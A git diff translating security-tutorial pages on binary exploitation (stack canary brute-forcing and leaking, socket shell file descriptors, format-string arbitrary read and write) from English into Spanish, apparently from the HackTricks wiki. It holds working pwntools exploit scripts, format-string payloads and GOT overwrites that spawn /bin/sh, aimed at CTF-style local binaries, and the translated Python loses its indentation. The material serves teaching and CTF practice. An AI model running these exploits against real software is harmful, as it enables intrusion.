r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base canary_offset = 1176 base = "A" * canary_offset @@ -58,43 +57,41 @@ print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` +### Ejemplo 2 -### Example 2 - -This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. - +Esto está implementado para 32 bits, pero esto podría cambiarse fácilmente a 64 bits.\ +También tenga en cuenta que para este ejemplo el **programa esperaba primero un byte para indicar el tamaño de la entrada** y la carga útil. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): - known_canary = b"" - test_canary = 0x0 - len_bytes_to_read = 0x21 +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 - for j in range(0, 4): - # Iterate up to 0xff times to brute force all posible values for byte - for test_canary in range(0xff): - print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - # Send the current input size - target.send(len_bytes_to_read.to_bytes(1, "little")) +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) - # Send this iterations canary - target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) - # Scan in the output, determine if we have a correct value - output = target.recvuntil(b"exit.") - if b"YUM" in output: - # If we have a correct value, record the canary value, reset the canary value, and move on - print(" - next byte is: " + hex(test_canary)) - known_canary = known_canary + test_canary.to_bytes(1, "little") - len_bytes_to_read += 1 - break +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break - # Return the canary - return known_canary +# Return the canary +return known_canary # Start the target process target = process('./feedme') @@ -104,18 +101,17 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` +## Hilos -## Threads +Los hilos del mismo proceso también **compartirán el mismo token canario**, por lo tanto, será posible **forzar** un canario si el binario genera un nuevo hilo cada vez que ocurre un ataque. -Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. +Además, un **desbordamiento de búfer en una función con hilos** protegida con canario podría usarse para **modificar el canario maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y, por lo tanto, el canario) a través de un **bof en la pila** de un hilo.\ +Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canarios que son iguales (aunque modificados).\ +Este ataque se realiza en el informe: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Consulta también la presentación de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que generalmente el **TLS** se almacena mediante **`mmap`** y cuando se crea una **pila** de **hilo** también se genera mediante `mmap`, lo que podría permitir el desbordamiento como se mostró en el informe anterior. -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. - -## Other examples & references +## Otros ejemplos y referencias - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 bits, sin PIE, nx, BF canario, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index e4d3eed44..4dd00ba7d 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -1,33 +1,33 @@ -# Print Stack Canary +# Imprimir Stack Canary {{#include ../../../banners/hacktricks-training.md}} -## Enlarge printed stack +## Ampliar stack impreso -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**. +Imagina una situación donde un **programa vulnerable** a desbordamiento de stack puede ejecutar una función **puts** **apuntando** a **parte** del **desbordamiento de stack**. El atacante sabe que el **primer byte del canario es un byte nulo** (`\x00`) y el resto del canario son **bytes aleatorios**. Entonces, el atacante puede crear un desbordamiento que **sobrescriba el stack hasta justo el primer byte del canario**. -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte). +Luego, el atacante **llama a la funcionalidad puts** en el medio de la carga útil que **imprimirá todo el canario** (excepto el primer byte nulo). -With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session). +Con esta información, el atacante puede **elaborar y enviar un nuevo ataque** conociendo el canario (en la **misma sesión del programa**). -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**. +Obviamente, esta táctica es muy **restringida** ya que el atacante necesita poder **imprimir** el **contenido** de su **carga útil** para **exfiltrar** el **canario** y luego ser capaz de crear una nueva carga útil (en la **misma sesión del programa**) y **enviar** el **verdadero desbordamiento de buffer**. -**CTF examples:** +**Ejemplos de CTF:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')` - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) - - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system) +- 32 bits, ARM, sin relro, canario, nx, sin pie. Desbordamiento con una llamada a puts sobre él para filtrar el canario + ret2lib llamando a `system` con una cadena ROP para hacer pop a r0 (arg `/bin/sh`) y pc (dirección de system) -## Arbitrary Read +## Lectura Arbitraria -With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in: +Con una **lectura arbitraria** como la proporcionada por **cadenas de formato**, podría ser posible filtrar el canario. Revisa este ejemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) y puedes leer sobre el abuso de cadenas de formato para leer direcciones de memoria arbitrarias en: {{#ref}} ../../format-strings/ {{#endref}} - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - This challenge abuses in a very simple way a format string to read the canary from the stack +- Este desafío abusa de una manera muy simple de una cadena de formato para leer el canario desde el stack {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md index 1aaf06372..77233223c 100644 --- a/src/binary-exploitation/common-exploiting-problems.md +++ b/src/binary-exploitation/common-exploiting-problems.md @@ -1,15 +1,14 @@ -# Common Exploiting Problems +# Problemas Comunes de Explotación {{#include ../banners/hacktricks-training.md}} -## FDs in Remote Exploitation +## FDs en Explotación Remota -When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell. +Al enviar un exploit a un servidor remoto que llama a **`system('/bin/sh')`**, por ejemplo, esto se ejecutará en el proceso del servidor, y `/bin/sh` esperará entrada de stdin (FD: `0`) y mostrará la salida en stdout y stderr (FDs `1` y `2`). Por lo tanto, el atacante no podrá interactuar con el shell. -A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed. - -[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): +Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el **FD número `3`** (para escuchar) y que luego, tu conexión estará en el **FD número `4`**. Por lo tanto, es posible usar la syscall **`dup2`** para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea posible contactar con el shell una vez que se ejecute. +[**Ejemplo de exploit desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python from pwn import * @@ -26,13 +25,12 @@ p.sendline(rop.chain()) p.recvuntil('Thanks!\x00') p.interactive() ``` - ## Socat & pty -Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit. +Ten en cuenta que socat ya transfiere **`stdin`** y **`stdout`** al socket. Sin embargo, el modo `pty` **incluye caracteres DELETE**. Así que, si envías un `\x7f` ( `DELETE` -) eliminará **el carácter anterior** de tu exploit. -In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.** +Para eludir esto, el **carácter de escape `\x16` debe ser precedido a cualquier `\x7f` enviado.** -**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** +**Aquí puedes** [**encontrar un ejemplo de este comportamiento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 3d7bfa018..72428a4ca 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -2,22 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +## Información Básica -{% embed url="https://www.stmcyber.com/careers" %} +En C **`printf`** es una función que se puede usar para **imprimir** alguna cadena. El **primer parámetro** que esta función espera es el **texto en bruto con los formateadores**. Los **siguientes parámetros** esperados son los **valores** para **sustituir** los **formateadores** del texto en bruto. -## Basic Information +Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**. -In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. - -Other vulnerable functions are **`sprintf()`** and **`fprintf()`**. - -The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**. - -#### Formatters: +La vulnerabilidad aparece cuando un **texto de atacante se usa como el primer argumento** para esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De esta manera, podrá **ejecutar código arbitrario**. +#### Formateadores: ```bash %08x —> 8 hex bytes %d —> Entire @@ -28,72 +22,58 @@ The vulnerability appears when an **attacker text is used as the first argument* %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` +**Ejemplos:** -**Examples:** - -- Vulnerable example: - +- Ejemplo vulnerable: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` - -- Normal Use: - +- Uso Normal: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` - -- With Missing Arguments: - +- Con argumentos faltantes: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` - - fprintf vulnerable: - ```c #include int main(int argc, char *argv[]) { - char *user_input; - user_input = argv[1]; - FILE *output_file = fopen("output.txt", "w"); - fprintf(output_file, user_input); // The user input can include formatters! - fclose(output_file); - return 0; +char *user_input; +user_input = argv[1]; +FILE *output_file = fopen("output.txt", "w"); +fprintf(output_file, user_input); // The user input can include formatters! +fclose(output_file); +return 0; } ``` +### **Accediendo a Punteros** -### **Accessing Pointers** - -The format **`%$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do: - +El formato **`%$x`**, donde `n` es un número, permite indicar a printf que seleccione el n-ésimo parámetro (de la pila). Así que si quieres leer el 4º parámetro de la pila usando printf, podrías hacer: ```c printf("%x %x %x %x") ``` +y leerías desde el primer hasta el cuarto parámetro. -and you would read from the first to the forth param. - -Or you could do: - +O podrías hacer: ```c printf("%4$x") ``` +y leer directamente el cuarto. -and read directly the forth. - -Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. +Nota que el atacante controla el parámetro de `printf`, **lo que básicamente significa que** su entrada estará en la pila cuando se llame a `printf`, lo que significa que podría escribir direcciones de memoria específicas en la pila. > [!CAUTION] -> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour. +> Un atacante que controle esta entrada, podrá **agregar direcciones arbitrarias en la pila y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo usar este comportamiento. -## **Arbitrary Read** - -It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with: +## **Lectura Arbitraria** +Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la cuarta posición de la pila, es posible imprimir el inicio del binario con: ```python from pwn import * @@ -106,18 +86,16 @@ payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` - > [!CAUTION] -> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address. +> Tenga en cuenta que no puede poner la dirección 0x8048000 al principio de la entrada porque la cadena se cortará en 0x00 al final de esa dirección. -### Find offset +### Encontrar el desplazamiento -To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`. +Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar los `A's`.
-Brute Force printf offset - +Fuerza bruta printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -125,88 +103,82 @@ from pwn import * # Iterate over a range of integers for i in range(10): - # Construct a payload that includes the current integer as offset - payload = f"AAAA%{i}$x".encode() +# Construct a payload that includes the current integer as offset +payload = f"AAAA%{i}$x".encode() - # Start a new process of the "chall" binary - p = process("./chall") +# Start a new process of the "chall" binary +p = process("./chall") - # Send the payload to the process - p.sendline(payload) +# Send the payload to the process +p.sendline(payload) - # Read and store the output of the process - output = p.clean() +# Read and store the output of the process +output = p.clean() - # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output - if b"41414141" in output: - # If the string is found, log the success message and break out of the loop - log.success(f"User input is at offset : {i}") - break +# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output +if b"41414141" in output: +# If the string is found, log the success message and break out of the loop +log.success(f"User input is at offset : {i}") +break - # Close the process - p.close() +# Close the process +p.close() ``` -
-### How useful +### Qué tan útil -Arbitrary reads can be useful to: +Las lecturas arbitrarias pueden ser útiles para: -- **Dump** the **binary** from memory -- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Volcar** el **binario** de la memoria +- **Acceder a partes específicas de la memoria donde se almacena información** **sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [**desafío CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) -## **Arbitrary Write** +## **Escritura Arbitraria** -The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the \ param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address. - -Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.%$n`** to write the number **``** in the **address pointed by the `num` position**. +El formateador **`%$n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro \ en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`%$n`** escriba un número arbitrario en una dirección arbitraria. +Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A"s a la entrada; para hacerlo, es posible usar el formateador **`%.%$n`** para escribir el número **``** en la **dirección apuntada por la posición `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` +Sin embargo, ten en cuenta que generalmente para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos. -However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones. +Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria).** -Therefore, this vulnerability allows to **write anything in any address (arbitrary write).** - -In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques: +En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria a exec: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\ -As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función** **`system`**.\ +Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero **escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo se usa **`$hn`**. -- **HOB** is called to the 2 higher bytes of the address -- **LOB** is called to the 2 lower bytes of the address +- **HOB** se llama a los 2 bytes más altos de la dirección +- **LOB** se llama a los 2 bytes más bajos de la dirección -Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +Luego, debido a cómo funciona la cadena de formato, necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro. -If HOB < LOB\ +Si HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +Si HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB - ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` +### Plantilla de Pwntools -### Pwntools Template - -You can find a **template** to prepare a exploit for this kind of vulnerability in: +Puedes encontrar una **plantilla** para preparar un exploit para este tipo de vulnerabilidad en: {{#ref}} format-strings-template.md {{#endref}} -Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): - +O este ejemplo básico de [**aquí**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -225,27 +197,21 @@ p.sendline('/bin/sh') p.interactive() ``` +## Cadenas de Formato a BOF -## Format Strings to BOF +Es posible abusar de las acciones de escritura de una vulnerabilidad de cadena de formato para **escribir en direcciones de la pila** y explotar un tipo de vulnerabilidad de **desbordamiento de búfer**. -It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability. - -## Other Examples & References +## Otros Ejemplos y Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - - 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) +- 32 bits, sin relro, sin canario, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera de la pila (sin necesidad de alterar el flujo de ejecución) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. +- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados. -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 0665b14a1..9157aac61 100644 --- a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -1,32 +1,27 @@ -# Format Strings - Arbitrary Read Example +# Cadenas de Formato - Ejemplo de Lectura Arbitraria {{#include ../../banners/hacktricks-training.md}} -## Read Binary Start - -### Code +## Leer Binario Inicio +### Código ```c #include int main(void) { - char buffer[30]; +char buffer[30]; - fgets(buffer, sizeof(buffer), stdin); +fgets(buffer, sizeof(buffer), stdin); - printf(buffer); - return 0; +printf(buffer); +return 0; } ``` - -Compile it with: - +Compílalo con: ```python clang -o fs-read fs-read.c -Wno-format-security -no-pie ``` - -### Exploit - +### Explotar ```python from pwn import * @@ -38,16 +33,14 @@ payload += p64(0x00400000) p.sendline(payload) log.info(p.clean()) ``` - -- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address. - - I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141 -- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before -- The address selected is 0x00400000 because it's where the binary starts (no PIE) +- El **offset es 11** porque al establecer varios A y **forzar por fuerza bruta** con un bucle de offsets de 0 a 50 se encontró que en el offset 11 y con 5 caracteres extra (pipes `|` en nuestro caso), es posible controlar una dirección completa. +- Usé **`%11$p`** con relleno hasta que la dirección fuera todo 0x4141414141414141 +- La **carga útil de la cadena de formato está ANTES de la dirección** porque **printf deja de leer en un byte nulo**, así que si enviamos la dirección y luego la cadena de formato, printf nunca alcanzará la cadena de formato ya que se encontrará un byte nulo antes +- La dirección seleccionada es 0x00400000 porque es donde comienza el binario (sin PIE)
-## Read passwords - +## Leer contraseñas ```c #include #include @@ -55,111 +48,103 @@ log.info(p.clean()) char bss_password[20] = "hardcodedPassBSS"; // Password in BSS int main() { - char stack_password[20] = "secretStackPass"; // Password in stack - char input1[20], input2[20]; +char stack_password[20] = "secretStackPass"; // Password in stack +char input1[20], input2[20]; - printf("Enter first password: "); - scanf("%19s", input1); +printf("Enter first password: "); +scanf("%19s", input1); - printf("Enter second password: "); - scanf("%19s", input2); +printf("Enter second password: "); +scanf("%19s", input2); - // Vulnerable printf - printf(input1); - printf("\n"); +// Vulnerable printf +printf(input1); +printf("\n"); - // Check both passwords - if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { - printf("Access Granted.\n"); - } else { - printf("Access Denied.\n"); - } +// Check both passwords +if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { +printf("Access Granted.\n"); +} else { +printf("Access Denied.\n"); +} - return 0; +return 0; } ``` - -Compile it with: - +Compílalo con: ```bash clang -o fs-read fs-read.c -Wno-format-security ``` +### Leer desde la pila -### Read from stack - -The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack: - +La **`stack_password`** se almacenará en la pila porque es una variable local, así que simplemente abusar de printf para mostrar el contenido de la pila es suficiente. Este es un exploit para BF las primeras 100 posiciones para filtrar las contraseñas de la pila: ```python from pwn import * for i in range(100): - print(f"Try: {i}") - payload = f"%{i}$s\na".encode() - p = process("./fs-read") - p.sendline(payload) - output = p.clean() - print(output) - p.close() +print(f"Try: {i}") +payload = f"%{i}$s\na".encode() +p = process("./fs-read") +p.sendline(payload) +output = p.clean() +print(output) +p.close() ``` - -In the image it's possible to see that we can leak the password from the stack in the `10th` position: +En la imagen es posible ver que podemos filtrar la contraseña desde la pila en la posición `10`:
-### Read data +### Leer datos -Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference: +Ejecutando el mismo exploit pero con `%p` en lugar de `%s` es posible filtrar una dirección de heap desde la pila en `%25$p`. Además, comparando la dirección filtrada (`0xaaaab7030894`) con la posición de la contraseña en la memoria en ese proceso, podemos obtener la diferencia de direcciones:
